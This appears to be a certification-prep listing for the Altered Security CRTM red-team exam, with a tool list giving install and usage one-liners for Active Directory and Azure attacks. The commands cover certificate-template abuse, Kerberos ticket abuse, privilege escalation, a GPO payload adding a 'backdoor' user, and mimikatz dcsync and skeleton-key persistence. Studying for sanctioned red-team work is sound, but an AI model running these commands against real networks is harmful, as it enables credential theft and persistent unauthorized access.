CRTM
Altered Security

Certified Red Team Master

Expert Practical exam Pass: Passing $399

Advanced AD attacks — trust abuse, forest pivoting, EDR evasion.

Official Page
IssuerAltered Security
FormatPractical exam
Duration48 hours
Pass ScorePassing
Overview Syllabus (7) Tools (5) Cheat Sheets (0) Labs (1)
Recommended Tools
Certipy Essential
AD Attacks

ADCS attack tool (ESC1-ESC8)

installpip3 install certipy-ad
usagecertipy find -u user@domain -p pass -vulnerable; certipy req -ca CA -template ESC1
KrbRelayUp Essential
AD Attacks

RBCD local privilege escalation

installCompile from source
usageKrbRelayUp.exe relay -d domain.local -cn NewComputer
pyGPOAbuse Essential
AD Attacks

GPO abuse for privesc

installpip3 install pygpoabuse
usagepygpoabuse DOMAIN/admin:pass -gpo-id GUID -powershell "net user backdoor P@ss /add"
Whisker Essential
AD Attacks

Shadow Credentials attack tool

installCompile from source
usageWhisker.exe add /target:targetuser
AADInternals Essential
Azure

Azure AD attack toolkit (PowerShell)

installInstall-Module AADInternals
usageGet-AADIntAccessTokenForAADGraph; Invoke-AADIntReconAsOutsider
Rubeus Essential
Kerberos

Full Kerberos abuse toolkit

installBuild from source
usageRubeus.exe diamond /tgtdeleg; Rubeus.exe s4u
PowerUpSQL Essential
MSSQL

MSSQL attack framework

installImport-Module PowerUpSQL
usageGet-SQLInstanceDomain | Get-SQLServerInfo; Invoke-SQLEscalatePriv
mimikatz Essential
Persistence

Credential/ticket extraction

installDownload from github
usagelsadump::dcsync; misc::skeleton; lsadump::lsa /patch